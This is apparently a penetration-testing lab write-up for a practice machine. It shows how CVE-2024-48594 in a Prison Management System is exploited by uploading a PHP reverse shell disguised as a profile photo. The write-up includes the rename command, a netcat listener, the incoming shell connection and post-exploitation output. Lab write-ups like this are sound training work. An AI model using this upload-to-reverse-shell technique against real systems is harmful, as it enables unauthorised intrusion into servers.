CVE-2024-48594


The target Prison Management System instance appears to suffer from CVE-2024-48594 Following the PoC

Heading over to the Edit Photo tab as the admin user

┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/vmdak]
└─$ mv shell.php shell.jpg

I will then rename the payload

Changing the extension to PHP

Payload uploaded

The web application is loading the “profile photo” This will trigger the PHP reverse shell

┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/vmdak]
└─$ nnc 9999
listening on [any] 9999 ...
connect to [192.168.45.157] from (UNKNOWN) [192.168.125.103] 33884
SOCKET: Shell has connected! PID: 3104
whoami
www-data
hostname
vmdak.local
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
3: ens160: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:9e:fa:06 brd ff:ff:ff:ff:ff:ff
    altname enp3s0
    inet 192.168.125.103/24 brd 192.168.125.255 scope global ens160
       valid_lft forever preferred_lft forever

Initial Foothold established to the target system as the www-data account via exploiting CVE-2024-48594